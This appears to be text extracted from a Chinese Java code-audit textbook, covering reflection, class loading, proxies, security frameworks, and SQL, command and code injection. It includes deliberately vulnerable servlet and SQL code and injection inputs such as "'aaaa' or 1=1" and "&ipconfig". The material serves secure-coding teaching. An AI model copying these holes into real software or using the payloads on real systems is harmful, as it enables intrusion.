    {"text": "（1）getDeclaredMethods 方法。 getDeclaredMethods 方法返回类或接口声明的所有方法，包括 public、protected、 private 和默认方法，但不包括继承的方法，具体方式如图 4-18 所示。 （2）getMethods 方法。 getMethods 方法返回某个类的所有 public 方法，包括其继承类的 public 方法， 具体方式如图 4-19 所示。 （3）getMethod 方法。 getMethod 方法只能返回一个特定的方法，如 Runtime 类中的 exec()方法，该 方法的第一个参数为方法名称，后面的参数为方法的参数对应 Class 的对象，具体方 式如图 4-20 所示。 4.5 Java 反射机制 87 图 4-18 getDeclaredMethods 方法 图 4-19 getMethods 方法 88 第 4 章 Java EE 基础知识 图 4-20 getMethod 方法 （4）getDeclaredMethod 方法。 getDeclaredMethod 方法与 getMethod 类似，也只能返回一个特定的方法，该方 法的第一个参数为方法名，第二个参数名是方法参数，具体方式如图 4-21 所示。 图 4-21 getDeclaredMethod 方法 3．获取类成员变量 为了更直观地体现出获取类成员变量的方法，我们首先创建一个 Student 类，如 图 4-22 所示。 4.5 Java 反射机制 89 图 4-22 创建一个 Student 类 要获取 Student 类成员变量，主要有以下几个方法。"},
    {"text": "图 4-24 getFields 方法 （3）getDeclaredField 方法。 该方法与 getDeclaredFields 的区别是只能获得类的单个成员变量，这里我们仅想 获得 Student 类中的 name 变量，具体方式如图 4-25 所示。 图 4-25 getDeclaredField 方法 4.5 Java 反射机制 91 （4）getField 方法。 与 getFields 类似，getField 方法能够获得某个类特定的 public 字段，包括父类中 的字段，这里想获得 Student 类中的 public 类型变量 content，具体方式如图 4-26 所示。 图 4-26 getField 方法 4.5.4 不安全的反射 如前所述，利用 Java 的反射机制，我们可以无视类方法、变量访问权限修饰符， 调用任何类的任意方法、访问并修改成员变量值，但是这样做可能导致安全问题。"},
    {"text": "String name = request.getParameter(\"name\"); Command command = null; if (name.equals(\"Delect\")) { command = new DelectCommand(); } else if (ctl.equals(\"Add\")) { command = new AddCommand(); } else { ... 92 第 4 章 Java EE 基础知识 } command.doAction(request); 其中存在一个字段 name，当获取用户请求的 name 字段后进行判断时，如果请 求的是 Delect 操作，则执行 DelectCommand 函数；"},
    {"text": "String name = request.getParameter(\"name\"); Class ComandClass = Class.forName(name + \"Command\"); Command command = (Command) CommandClass.newInstance(); command.doAction(request); 这样的重构看起来使代码行减少，消除了 if/else 块，而且可以在不修改命令分派 器的情况下添加新的命令类型，但是如果没有对传入的 name 字段进行限制，就会实 例化实现 Command 接口的任何对象，从而导致安全问题。"},
    {"text": "实际上，攻击者甚至不局 限于本例中的 Command 接口对象，而是使用任何其他对象来实现，如调用系统中任 何对象的默认构造函数，或者调用 Runtime 对象去执行系统命令，这可能导致远程命 令执行出现漏洞，因此不安全的反射的危害性极大，也是我们审计过程中需要重点 关注的内容。"},
    {"text": "4.6 ClassLoader 类加载机制 Java 程序是由 class 文件组成的一个完整的应用程序。 在程序运行时，并不会一 次性加载所有的 class 文件进入内存，而是通过 Java 的类加载机制（ClassLoader）进 行动态加载，从而转换成 java.lang.Class 类的一个实例。 4.6.1 ClassLoader 类 ClassLoader 是一个抽象类，主要的功能是通过指定的类的名称，找到或生成对 应的字节码，返回一个 java.lang.Class 类的实例。 开发者可以继承 ClassLoader 类来 实现自定义的类加载器。 4.6 ClassLoader 类加载机制 93 ClassLoader 类中和加载类相关的方法如表 4-4 所示。 表 4-4 ClassLoader 类中和加载类相关的方法 方法 说明 getParent() 返回该类加载器的父类加载器 加载名称为 name 的类，返回的结果是 java.lang.Class loadClass(String name) 类的实例 查找名称为 name 的类，返回的结果是 java.lang.Class findClass(String name) 类的实例 查找名称为 name 的已经被加载过的类，返回的结果是 findLoadedClass(String name) java.lang.Class 类的实例 把字节数组 b 中的内容转换成 Java 类，返回的结果是 defineClass(String name, byte[] b, int off, int len) java.lang.Class 类的实例，该方法被声明为 final resolveClass(Class<?> c) 链接指定的 Java 类 4.6.2 loadClass()方法的流程 前面曾介绍过 loadClass()方法可以加载类并返回一个 java.lang.Class 类对象。 通 过如下源码可以看出，当 loadClass()方法被调用时，会首先使用 findLoadedClass()方 法判断该类是否已经被加载，如果未被加载，则优先使用加载器的父类加载器进行 加载。 当不存在父类加载器，无法对该类进行加载时，则会调用自身的 findClass() 方法，因此可以重写 findClass()方法来完成一些类加载的特殊要求。"},
    {"text": "protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { Class<?> c = findLoadedClass(name); if (c == null) { long t0 = System.nanoTime(); try { if (parent != null) { c = parent.loadClass(name, false); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { //省略 94 第 4 章 Java EE 基础知识 } if (c == null) { //省略 c = findClass(name); //省略 } } if (resolve) { resolveClass(c); } return c; } } 4.6.3 自定义的类加载器 根据 loadClass()方法的流程，可以发现通过重写 findClass()方法，利用 defineClass() 方法来将字节码转换成 java.lang.class 类对象，就可以实现自定义的类加载器。"},
    {"text": "public class DemoClassLoader extends ClassLoader { private byte[] bytes ; private String name = \"\"; public static void main(String[] args) throws ClassNotFoundException, N oSuchMethodException, IllegalAccessException, InvocationTargetException, In stantiationException { String clzzName = \"com.test.Hello\"; byte[] testBytes = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 52, 0, 28, 10, 0, 6, 0, 14, 9, 0, 15, 0, 16, 8, 0, 17, 10, 0, 18, 0, 19, 7, 0, 20, 7, 0, 21, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, //省略 }; DemoClassLoader demo = new DemoClassLoader(clzzName,testBytes); Class clazz = demo.loadClass(clzzName); Constructor constructor = clazz.getConstructor(); Object obj = constructor.newInstance(); Method method = clazz.getMethod(\"sayHello\"); method.invoke(obj); } public DemoClassLoader(String name, byte[] bytes){ this.name = name; 4.6 ClassLoader 类加载机制 95 this.bytes = bytes; } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { if(name.equals(this.name)) { defineClass(name, bytes, 0, bytes.length); } return super.findClass(name); } } 该示例代码的执行结果如图 4-27 所示。"},
    {"text": "图 4-27 自定义类加载器示例代码执行结果 4.6.4 loadClass()方法与 Class.forName 的区别 loadClass()方法只对类进行加载，不会对类进行初始化。"},
    {"text": "public class Dog { static { System.out.println(\"静态代码块执行\"); 96 第 4 章 Java EE 基础知识 } { System.out.println(\"代码块执行\"); } public Dog(){ System.out.println(\"构造方法执行\"); } } public class ClassLoaderTest { public static void main(String[] args) throws ClassNotFoundException { Class.forName(\"Dog\"); ClassLoader.getSystemClassLoader().loadClass(\"Dog\"); } } 该示例代码的执行结果如图4-28所示。"},
    {"text": "图 4-28 静态代码执行结果 4.6.5 URLClassLoader URLClassLoader 类是 ClassLoader 的一个实现，拥有从远程服务器上加载类的能 力。 通过 URLClassLoader 可以实现对一些 WebShell 的远程加载、对某个漏洞的深入 利用。"},
    {"text": "扫描二维码 观看类加载配套视频讲解，下载示例代码 4.7 Java 动态代理 97 4.7 Java 动态代理 代理是 Java 中的一种设计模式，主要用于提供对目标对象另外的访问方式，即 通过代理对象访问目标对象。"},
    {"text": "4.7.1 静态代理 所谓静态代理，顾名思义，当确定代理对象和被代理对象后，就无法再去代理 另一个对象。 同理，在 Java 静态代理中，如果我们想要实现另一个代理，就需要重 新写一个代理对象，其原理如图 4-29 所示。 图 4-29 静态代理的原理 总而言之，在静态代理中，代理类和被代理类实现了同样的接口，代理类同时 持有被代理类的引用。 当我们需要调用被代理类的方法时，可以通过调用代理类的 方法实现，静态代理的实现如图 4-30 所示。 98 第 4 章 Java EE 基础知识 图 4-30 静态代理的实现 4.7.2 动态代理 静态代理的优势很明显，即允许开发人员在不修改已有代码的前提下完成一些 增强功能的需求。 但是静态代理的缺点也很明显，它的使用会由于代理对象要实现 与目标对象一致的接口，从而产生过多的代理类，造成冗余； 其次，大量使用静态 代理会使项目不易维护，一旦接口增加方法，目标对象与代理对象就要进行修改。"},
    {"text": "动态代理其实是通过实现接口的方式来实现代理，具体来说，动态代理是通过 Proxy 类创建代理对象，然后将接口方法“代理”给 InvocationHandler 接口完成的。 4.7 Java 动态代理 99 图 4-31 动态代理的实现 动态代理的关键有两个，即上文中提到的 Proxy 类以及 InvocationHandler 接口， 这是我们实现动态代理的核心。 1．Proxy 类 在 JDK 中，Java 提供了 Java.lang.reflect.InvocationHandler 接口和 Java.lang. reflect.Proxy 类，这两个类相互配合，其中 Proxy 类是入口。 Proxy 类是用来创建一 个代理对象的类，它提供了很多方法。 ● static Invocation Handler get Invocation Handler (Object proxy) ：该方法主要用 于获取指定代理对象所关联的调用程序。 ● static Class<?> get Proxy Class (ClassLoader loader, Class<?>... interfaces) ：该 方法主要用于返回指定接口的代理类。 ● static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, Invocation Handler h)：该方法主要返回一个指定接口的代理类实例，该接口可以将方法 调用指派到指定的调用处理程序。 ● static boolean is Proxy Class (Class<?> cl)：当且仅当指定的类通过 get Proxy Class 方法或 newProxyInstance 方法动态生成为代理类时，返回 true。"},
    {"text": "在上述方法中，最常用的是 newProxyInstance 方法，该方法的作用是创建一个代 理类对象，它接收 3 个参数：loader、interfaces 以及 h，各个参数含义如下。"},
    {"text": "● interfaces：这是代理类要实现的接口列表，表示用户将要给代理对象提供的 接口信息。 如果提供了这样一个接口对象数组，就是声明代理类实现了这些 接口，代理类即可调用接口中声明的所有方法。"},
    {"text": "● h：这是指派方法调用的调用处理程序，是一个 InvocationHandler 对象，表示 当动态代理对象调用方法时会关联到哪一个 InvocationHandler 对象上，并最 终由其调用。 2．InvocationHandler 接口 Java.lang.reflect InvocationHandler，主要方法为 Object invoke（Object proxy, Method method, Object[] args），该方法定义了代理对象调用方法时希望执行的动作， 用于集中处理在动态代理类对象上的方法调用。"},
    {"text": "● proxy：在其上调用方法的代理实例。 ● method：对应于在代理实例上调用的接口方法的 Method 实例。 Method 对 象的声明类将是在其中声明方法的接口，该接口可以是代理类赖以继承方法 的代理接口的超接口。"},
    {"text": "4.7.3 CGLib 代理 CGLib（Code Generation Library）是一个第三方代码生成类库，运行时在内存中 动态生成一个子类对象，从而实现对目标对象功能的扩展。"},
    {"text": "动态编程是 相对于静态编程而言的一种编程形式，对于静态编程而言，类型检查是在编译时完 成的，但是对于动态编程来说，类型检查是在运行时完成的。"},
    {"text": "那么动态编程可以解决什么样的问题呢？ 其实动态编程做的事情，静态编程也 可以做到，但相对于动态编程来说，静态编程要实现动态编程所实现的功能，过程 会比较复杂。 一般来说，在依赖关系需要动态确认或者需要在运行时动态插入代码 的环境中，需要使用动态编程。"},
    {"text": "ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(\"test.Rectangle\"); cc.setSuperclass(pool.get(\"test.Point\")); 102 第 4 章 Java EE 基础知识 cc.writeFile();"},
    {"text": "Unknown 这段程序首先获取 ClassPool 的实例，它主要用来修改字节码，里面存储着基于 二进制文件构建的 CtClass 对象，它能够按需创建出 CtClass 对象并提供给后续处理 流程使用。 当需要进行类修改操作时，用户需要通过 ClassPool 实例的.get()方法获取 CtClass 对象。 我们可以从上面的代码中看出，ClassPool 的 getDefault()方法将会查找系统默认 的路径来搜索 test.Rectable 对象，然后将获取到的 CtClass 对象赋值给 cc 变量。 这里仅是构造 ClassPool 对象以及获取 CTclass 的过程，具体的 Javassist 的使用 流程如图 4-32 所示。"},
    {"text": "Javassist 的优点 是提供了更高级的 API，无须掌握字节码指令的知识，对使用者要求较低，但同时其 4.9 可用于 Java Web 的安全开发框架 103 执行效率相对较差；"},
    {"text": "在开发应用的初期，安全就 应该被考虑进来，如果不考虑安全问题，轻则无法满足用户的要求，影响应用的发 布进程； 重则可能会导致应用存在严重的安全漏洞，造成用户的隐私数据泄露。"},
    {"text": "4.9.1 Spring Security Spring 是一个非常成功的 Java 应用开发框架。 Spring Security 基于 Spring 框 架，提供了一套 Web 应用安全性的完整解决方案，它能够为基于 Spring 的企业应 用系统提供声明式的安全访问控制解决方案。"},
    {"text": "用户认证指的是验 证某个用户是否为系统中的合法主体，即判断用户能否访问该系统。 用户认证一般 要求用户提供用户名和密码。 系统通过校验用户名和密码来完成认证过程。 用户授 权指的是验证某个用户是否有权限执行某个操作。 在同一个系统中，不同用户所具 有的权限是不同的。 比如对一个文件来说，有的用户只能进行读取，而有的用户则 可以进行修改。 一般来说，系统会为不同的用户分配不同的角色，而每个角色则对 应一系列的权限。"},
    {"text": "在用户授权方面，Spring Security 104 第 4 章 Java EE 基础知识 提供了基于角色的访问控制和访问控制列表（Access Control List，ACL），可以对应 用中的领域对象进行细粒度的控制。"},
    {"text": "Spring Security 提供了一组可以在 Spring 应用上下文中配置的 Bean，充分利用 了 Spring IoC（Inversion of Control , 控制反转）、DI（Dependency Injection , 依赖注 入）和 AOP（Aspect Oriented Programming , 面向切面编程）功能，为应用系统提供 声明式的安全访问控制功能，减少了为企业系统安全控制编写大量重复代码的工作。"},
    {"text": "4.9.2 Apache Shiro Apache Shiro 也是一个强大的 Java 安全框架，该框架能够用于身份验证、授权、 加密和会话管理。 与 Spring Security 框架相同，Apache Shiro 也是一个全面的、蕴含 丰富功能的安全框架，描述 Shiro 功能的框架图如图 4-33 所示。 图 4-33 Shiro 功能的框架图 在 Apache Shiro 框架中，开发团队提供了 4 个重点安全配置：Authentication（认 证）、Authorization（授权）、Session Management（会话管理）、Cryptography（加密）， 其具体含义如下。"},
    {"text": "在开发时，安全需求有时可能非常 复杂，Apache Shiro 框架做到了尽可能减少开发复杂性，创造了直观的 API，简化了 开发人员确保其应用程序安全的工作。"},
    {"text": "4.9.3 OAuth 2.0 OAuth（Open Authorization，开放授权）为用户资源的授权定义了一个安全、开 发以及简单的标准，第三方无须知道用户的账号和密码，即可获取用户的授权信息。"},
    {"text": "图 4-34 所示为 OAuth 第三方授权时序图。 图 4-34 OAuth 第三方授权时序图 当用户首次向第三方发起请求时，第三方向 OAuth 请求 access_token 凭证。"},
    {"text": "用 户确定授权后，第三方得到由 OAuth 分配的授权码，当用户下一次向第三方发起请 求时，第三方直接向 OAuth 提交存储的授权码 token 即可获得用户信息。"},
    {"text": "值得一提的是，对于 OAuth 2.0 的使用场景，官方文档中提到的基本上都是针对 第三方应用，但不要把第三方应用只当作其他公司或其他人开发的应用或系统。"},
    {"text": "从 广义上讲，我们自己开发的客户端也是一种第三方应用，只是我们的客户端是可以 输入用户名密码获取令牌，而真正的第三方无法使用用户名和密码获取令牌，所以 4.9 可用于 Java Web 的安全开发框架 107 它们在流程上是有很大一部分是相似的。"},
    {"text": "4.9.4 JWT JSON Web Token（JWT）是一个开放标准（RFC7519），它定义了一种紧凑的、 自包含的方式，用于在各方之间以 JSON 对象的形式安全地传输信息。"},
    {"text": "JWT 的声明一 般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源 服务器获取资源，也可以增加一些额外的其他业务逻辑所必需的声明信息。"},
    {"text": "平时我们遇到的大部分 Internet 服务的身份验证过程是，首先由客户端向服务 器发送登录名和登录密码，服务器验证后将权限、用户编号等信息保存到当前会话 中； 然后服务器向客户端返回 Session，Session 信息会被写入客户端的 Cookie 中， 后面的请求客户端都会首先尝试从 Cookie 中读取 Session，之后将其发送给服务器， 服务器在收到 Session 后会对比保存的数据来确认客户端身份。 但这种模式存在一 个问题，当有多个网站提供同一服务时，如果使用 Session 的方法，我们只能通过 持久化 Session 数据的方式来实现在某一网站登录后，其他网站也同时登录，这种 方式的缺点较明显，即修改架构很困难，需要重写验证逻辑，并且整体依赖于数据 库。 如果存储 Session 会话的数据库宕机或者出现问题，则整个身份认证功能无法 使用，进而导致系统无法登录。"},
    {"text": "该私钥非常重要，因为 secret 是保存在服务器端的，JWT 的签发生成也在服 务器端，secret 则用来进行 JWT 的签发和 JWT 的验证，所以 secret 就是服务端的 108 第 4 章 Java EE 基础知识 私钥，在任何场景都不应该泄露。"},
    {"text": "以上是用于 Java Web 的安全开发框架的简单介绍，由于篇幅有限并未在本节中 详细介绍其具体使用和配置方法，在后续的 Java 代码审计进阶版中，我们会对此进 行详细介绍。"},
    {"text": "第 5 章 “OWASP Top 10 2017”漏洞的 代码审计 OWASP（Open Web Application Security Project，开放式 Web 应用程序安全项目） 是一个组织，它提供有关计算机和互联网应用程序的公正、实际、有成本效益的信 息，其目的是协助个人、企业和机构来发现和使用可信赖软件。"},
    {"text": "其中 OWASP Top 10 （十大安全漏洞列表）颇具权威性。 OWASP Top 10 不是官方文档或标准，而是一个被广泛采用的意识文档，被用来 划分网络安全漏洞的严重程度，目前被许多漏洞奖励平台和企业安全团队用来评估 错误报告。"},
    {"text": "OWASP Top 10 是不断演化的，如图 5-1 所示，我们可以发现“2017 年的 Top 10” 列表与“2013 年的 Top 10”列表的异同，例如“注入问题”仍然是严峻的问题，“不 安全的反序列化”进一步进入了人们的视线，而“CSRF”问题不再属于“Top 10”。"},
    {"text": "本章将探讨 OWASP Top 10 2017 的代码审计经验（若想更加深入地了解这些漏 洞原理，建议阅读 OWASP 官方资料《OWASP 十大应用安全风险》）。 110 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-1 比对 OWASP Top 10 2013 与 OWASP Top 10 2017 5.1 注入 5.1.1 注入漏洞简介 注入漏洞，是指攻击者可以通过 HTTP 请求将 payload 注入某种代码中，导致 payload 被当作代码执行的漏洞。"},
    {"text": "例如 SQL 注入漏洞，攻击者将 SQL 注入 payload 插入 SQL 语句中，并且被 SQL 引擎解析成 SQL 代码，影响原 SQL 语句的逻辑，形 成注入。 同样，文件包含漏洞、命令执行漏洞、代码执行漏洞的原理也类似，也可 以看作代码注入漏洞。 5.1.2 SQL 注入 SQL 注入（SQL Injection）是因为程序未能正确对用户的输入进行检查，将用户 5.1 注入 111 的输入以拼接的方式带入 SQL 语句中，导致了 SQL 注入的产生。"},
    {"text": "本节将会介绍 Java 语言产生 SQL 注入的原因，以及框架使用不当所造 成的 SQL 注入。 1．JDBC 拼接不当造成 SQL 注入 JDBC 有两种方法执行 SQL 语句，分别为 PrepareStatement 和 Statement。"},
    {"text": "两个方 法的区别在于 PrepareStatement 会对 SQL 语句进行预编译，而 Statement 方法在每次 执行时都需要编译，会增大系统开销。 理论上 PrepareStatement 的效率和安全性会 比 Statement 要好，但并不意味着使用 PrepareStatement 就绝对安全，不会产生 SQL 注入。"},
    {"text": "下面通过代码示例对使用 Statement 执行 SQL 语句进行介绍。 这段代码使用拼接 的方式将用户输入的参数“id”带入 SQL 语句中，创建 Statement 对象来进行 SQL 语句的执行。"},
    {"text": "如以下代码所示，经过拼接构造后，最终在数据库执行的语句为“select * from user where id = 1 or 1=2”，改变了程序想要查询“id=1”的语义，通过回显可 以判断出存在 SQL 注入。 String sql = \"select * from user where id = \"+req.getParameter(\"id\"); out.println(sql); try { Statement st = con.createStatement(); ResultSet rs = st.executeQuery(sql); while (rs.next()){ out.println(\"<br> id: \"+rs.getObject(\"id\")); out.println(\"<br> name: \"+rs.getObject(\"name\")); } } catch (SQLException throwables) { throwables.printStackTrace(); } PrepareStatement 方法支持使用‘?’对变量位进行占位，在预编译阶段填入相应 的值构造出完整的 SQL 语句，此时可以避免 SQL 注入的产生。 但开发者有时为了便 利，会直接采取拼接的方式构造 SQL 语句，此时进行预编译则无法阻止 SQL 注入的 产生。 如以下代码所示，PrepareStatement 虽然进行了预编译，但在以拼接方式构造 SQL 语句的情况下仍然会产生 SQL 注入。"},
    {"text": "112 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 String sql = \"select * from user where id = \"+req.getParameter(\"id\"); out.println(sql); try { PreparedStatement pstt = con.prepareStatement(sql); ResultSet rs = pstt.executeQuery(); while (rs.next()){ out.println(\"<br> id: \"+rs.getObject(\"id\")); out.println(\"<br> name: \"+rs.getObject(\"name\")); } } catch (SQLException throwables) { throwables.printStackTrace(); } 正确地使用 PrepareStatement 可以有效避免 SQL 注入的产生，使用“?”作为占 位符时，填入对应字段的值会进行严格的类型检查。 将前面的“拼接构造 SQL 语句” 改为如下“使用占位符构造 SQL 语句”的代码片段，即可有效避免 SQL 注入的产生。 PrintWriter out = resp.getWriter(); String sql = \"select * from user where id = ?\"; out.println(sql); try { PreparedStatement pstt = con.prepareStatement(sql); pstt.setInt(1, Integer.parseInt(req.getParameter(\"id\"))); ResultSet rs = pstt.executeQuery(); while (rs.next()){ out.println(\"<br> id: \"+rs.getObject(\"id\")); out.println(\"<br> name: \"+rs.getObject(\"name\")); } } catch (SQLException throwables) { throwables.printStackTrace(); } 2．框架使用不当造成 SQL 注入 在实际的代码开发工作中，JDBC 方式是将 SQL 语句写在代码块中，不利于后 续维护。"},
    {"text": "下面通过 MyBatis 框架与 Hibernate 框架展开介绍。 （1）MyBatis 框架。 MyBatis 框架的思想是将 SQL 语句编入配置文件中，避免 SQL 语句在 Java 程序 5.1 注入 113 中大量出现，方便后续对 SQL 语句的修改与配置。 正确使用 MyBatis 框架可以有效 地阻止 SQL 注入的产生，错误的使用则可能埋下安全隐患。"},
    {"text": "<select id=\"getUsername\" resultType=\"com.z1ng.bean.User\"> select id,name,age from user where name = #{name} </select> 当输入的“name”值为“z1ng”时，成功查询到结果，Debug 的回显如下。 Setting autocommit to false on JDBC Connection [com.mysql.cj.jdbc. Connecti onImpl@47db50c5] ==> Preparing: select id,name,age from user where name = ? ==> Parameters: z1ng(String) <== Columns: id, name, age <== Row: 1, z1ng, 18 <== Total: 1 User{id=1, name='z1ng', age=18} 从 Debug 回显的 SQL 语句执行过程可以看出，使用#{Parameter}方式会使用“?” 占位进行预编译，因此不存在 SQL 注入的问题。"},
    {"text": "<select id=\"getUsername\" resultType=\"com.z1ng.bean.User\"> select id,name,age from user where name = #{name} </select> 当输入的“name”值为“z1ng”时，成功查询到结果，Debug 的回显如下。 Setting autocommit to false on JDBC Connection [com.mysql.cj.jdbc. onnectio nImpl@6d3af739] ==> Preparing: select id,name,age from user where name = 'z1ng' ==> Parameters: <== Columns: id, name, age <== Row: 1, z1ng, 18 <== Total: 1 User{id=1, name='z1ng', age=18} 114 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 当输入的“name”值为“'aaaa' or 1=1”时，成功查询到结果，Debug 的回显 如下。 Setting autocommit to false on JDBC Connection [com.mysql.cj.jdbc. onnectio nImpl@6d3af739] ==> Preparing: select id,name,age from user where name = 'aaaa' or 1=1 ==> Parameters: <== Columns: id, name, age <== Row: 1, z1ng, 18 <== Total: 1 User{id=1, name='z1ng', age=18} 根据 Debug 的回显可以看出，“name”值被拼接进 SQL 语句之中，因此此时存 在 SQL 注入。"},
    {"text": "#{Parameter}采用预编译的方式构造 SQL，避免了 SQL 注入 的产生。 而${Parameter}采用拼接的方式构造 SQL，在对用户输入过滤不严格的前提 下，此处很可能存在 SQL 注入。"},
    {"text": "（2）Hibernate 框架。 Hibernate 框架是 Java 持久化 API（JPA）规范的一种实现方式。 Hibernate 将 Java 类映射到数据库表中，从 Java 数据类型映射到 SQL 数据类型。 Hibernate 是目前主 流的 Java 数据库持久化框架，采用 Hibernate 查询语言（HQL）注入。"},
    {"text": "Hibernate 是对持久化类的对象进行操作而不是直接对数 据库进行操作，因此 HQL 查询语句由 Hibernate 引擎进行解析，这意味着产生的错 误信息可能来自数据库，也可能来自 Hibernate 引擎。"},
    {"text": "factory = new Configuration().configure().buildSessionFactory(); Session session = factory.openSession(); Transaction tx = null; try{ tx = session.beginTransaction(); String parameter = \" zaaaa' or '1'='1 \"; List user = session.createQuery(\"FROM User where name='\"+ parameter+\"'\",User.class).getResultList(); for (Iterator iterator = user.iterator(); iterator.hasNext();){ User user1 = (User) iterator.next(); System.out.println(user1.toString()); 5.1 注入 115 } tx.commit(); }catch (HibernateException e) { if (tx!=null) tx.rollback(); e.printStackTrace(); }finally { session.close(); } 通过 Debug 模式可以清晰地观察到变量“parameter”被拼接进语句中，并将原 本的语义改变，查询出结果。 Hibernate: /* from User where name = 'zaaa' or '1'='1' */ select user0_.id as id1_0_, user0_.name as name2_0_, user0_.age as age3_0_ from User user0_ where user0_.name='zaaa' or '1'='1' User{id=1, name='z1ng', age=18} 正确使用以下几种 HQL 参数绑定的方式可以有效避免注入的产生。"},
    {"text": "String parameter = \"z1ng\"; Query<User> query = session.createQuery(\"from com.z1ng.bean.Userwhere name = ?1\", User.class); query.setParameter(1, parameter); 2）命名参数（named parameter）。 Query<User> query = session.createQuery(\"from com.z1ng.bean.Userwhere name = ?1\", User.class);String parameter = \"z1ng\"; Query<User> query = session.createQuery(\"from com.z1ng.bean.Userwhere name = :name\", User.class); query.setParameter(\"name\", parameter); 3）命名参数列表（named parameter list）。 116 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 List<String> names = Arrays.asList(\"z1ng\", \"z2ng\"); Query<User> query = session.createQuery(\"from com.z1ng.bean.User where name in (:names)\", User.class); query.setParameter(\"names\", names); 4）类实例（JavaBean）。 user1.setName(\"z1ng\"); Query<User> query = session.createQuery(\"from com.z1ng.bean.User where name =:name\", User.class); query.setProperties(user1); 通过 Debug 可以观察出，以上几种方式都采用了预编译的方式进行构造 SQL， 从而避免了注入的产生。"},
    {"text": "Query<User> query = session.createNativeQuery(\"select * from user where name = '\"+parameter+\"'\"); 参数绑定如下。 Query<User> query = session.createNativeQuery(\"select * from user where name = :name\"); query.setParameter(\"name\",parameter); 3．防御不当造成 SQL 注入 SQL 注入最主要的成因在于未对用户输入进行严格的过滤，并采取不恰当的方 式构造 SQL 语句。"},
    {"text": "扫描二维码 观看注入配套视频讲解， 下载示例代码和操作笔记 5.1 注入 117 5.1.3 命令注入 命令注入（Command Injection）是指在某种开发需求中，需要引入对系统本地 命令的支持来完成某些特定的功能。"},
    {"text": "protected void doGet(HttpServletRequest req, HttpServletResponse resp) thro ws ServletException, IOException { String cmd = req.getParameter(\"cmd\"); Process process = Runtime.getRuntime().exec(cmd); InputStream in = process.getInputStream(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byte[] b = new byte[1024]; int i = -1; while ((i = in.read(b)) != -1) { byteArrayOutputStream.write(b, 0, i); } PrintWriter out = resp.getWriter(); out.print(new String(byteArrayOutputStream.toByteArray())); } 命令注入的执行结果如图 5-2 所示。"},
    {"text": "图 5-2 命令注入的执行结果 118 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 1．命令注入的局限 系统命令支持使用连接符来执行多条语句，常见的连接符有“|” “||” “&” “&&”， 其含义如表 5-1 所示。"},
    {"text": "表 5-1 常见连接符及其含义 符号 含义 | 前面命令输出结果作为后面命令的输入内容 || 前面命令执行失败时才执行后面的命令 & 前面命令执行后继续执行后面的命令 && 前面命令执行成功后才执行后面的命令 例如命令“ping www.baidu.com&ipconfig”的执行效果如图 5-3 所示，执行 ping 命令后才执行 ipconfig 命令。 图 5-3 在 Windows 系统的 CMD 执行命令“ping www.baidu.com&ipconfig” 对于 Java 环境中的命令注入，连接符的使用存在一些局限。"},
    {"text": "其 中 url 参 数 为 用 户 可 控 ， 当 恶 意 用 户 输 入 “www.baidu.com&ipconfig”时，拼接出的系统命令为“ping www.baidu.com&ipconfig”， 该命令在命令行终端可以成功执行。"},
    {"text": "5.1 注入 119 protected ByteArrayOutputStream ping(String url) throws IOException { Process process = Runtime.getRuntime().exec(\"ping \"+ url); InputStream in = process.getInputStream(); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); byte[] b = new byte[1024]; int i = -1; while ((i = in.read(b)) != -1) { byteArrayOutputStream.write(b, 0, i); } return byteArrayOutputStream; } 2．无法进行命令注入的原因 Runtime 类中 exec 方法存在如下几种实现，显而易见，要执行的命令可以通过 字符串和数组的方式传入。 public Process exec(String command) throws IOException { return exec(command, null, null); } public Process exec(String command, String[] envp) throws IOException { return exec(command, envp, null); } public Process exec(String cmdarray[]) throws IOException { return exec(cmdarray, null, null); } public Process exec(String[] cmdarray, String[] envp) throws IOException { return exec(cmdarray, envp, null); } public Process exec(String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder(cmdarray) .environment(envp) .directory(dir) .start(); } 当传入的参数类型为字符串时，会先经过 StringTokenizer 的处理，主要是针对空 格以及换行符等空白字符进行处理，后续会分割出一个 cmdarray 数组保存分割后的 120 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 命令参数，其中 cmdarray 的第一个元素为所要执行的命令，这一点可以从图 5-4～图 5-6 中发现。 经过处理后的参数“ www.baidu.com&ipconfig ”成为“ping”命令的 参数，因此此时的连接符“&”并不生效，从而无法注入系统命令。 图 5-4 StringTokenizer 方法处理 图 5-5 cmdarray 参数 图 5-6 Process 的 start 方法 5.1 注入 121 5.1.4 代码注入 代码注入（Code Injection）与命令注入相似,指在正常的 Java 程序中注入一段 Java 代码并执行。"},
    {"text": "相比于命令注入，代码注入更具有灵活性，注入的代码可以写入或修 改系统文件，甚至可以直接注入执行系统命令的代码。 在实际的漏洞利用中，直接 进行系统命令执行常常受到各方面的因素限制，而代码注入因为灵活多变，可利用 Java 的各种技术突破限制，造成更大的危害。 产生代码注入漏洞的前提条件是将用户输入的数据作为 Java 代码进行执行。 由此所见，程序要有相应的功能能够将用户输入的数据当作代码执行，而 Java 反射就可以实现这样的功能：根据传入不同的类名、方法名和参数执行不同的功能。"},
    {"text": "String ClassName = req.getParameter(\"ClassName\"); String MethodName = req.getParameter(\"Method\"); String[] Args = new String[]{req.getParameter(\"Args\").toString()}; try { Class clazz = Class.forName(ClassName); Constructor constructor = clazz.getConstructor(String[].class); Object obj = constructor.newInstance(new Object[]{Args}); Method method = clazz.getMethod(MethodName); method.invoke(obj); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } Apache Commons collections 组件 3.1 